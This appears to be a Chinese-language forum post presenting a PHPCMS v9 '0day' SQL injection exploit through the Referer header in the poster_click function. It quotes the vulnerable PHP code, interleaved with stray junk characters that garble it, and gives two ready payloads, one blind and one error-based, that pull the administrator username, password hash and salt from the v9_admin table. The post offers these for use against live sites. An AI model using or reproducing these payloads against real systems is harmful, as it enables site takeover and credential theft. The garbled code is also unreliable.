phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

问题函数\phpcms\modules\poster\index.php
; v2 D; n4 t" p" T! `' ?
8 D5 x( _; `( Bpublic function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
( U" P0 r" C# [$ s: bif (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
7 S  k4 ~, O) u2 p+ p$ip = ip();
7 W" I/ w- O, W4 W9 y$area = $ip_area->get($ip);
- a) G. q/ H4 A  F% @; c" h! S/ B) u4 R$username = param::get_cookie('username') ? param::get_cookie('username') : '';
4 P  @/ R3 F' g6 w# _if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
# k2 [5 q. Y. c% `% K2 N' v$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
) o6 {$ m9 |" t% p; G" ~- B}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
! N( o" b8 K0 v3 P5 f$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
/ s0 g( C5 x* Z9 `$ o- x. Z  j} else {
7 l6 }& l8 O! f% Z$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
. |" _* m- ]" x0 E5 g. E}
header('Location: '.$url);
8 m4 r& y  |5 g( q}


! h2 j6 E4 z: J. b1 W% B' ?
8 A. H; U) _- V9 G, G5 f. ?2 U利用方式：
& I" r# R1 R" l; I: A$ D' D
1、可以采用盲注入的手法：

referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

通过返回页面，正常与否一个个猜解密码字段。

! d0 x$ k% A1 T8 s7 ]2、代码是花开写的，随手附上了：

1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
: c: }. q) p8 x* l8 y
此方法是爆错注入手法，原理自查。
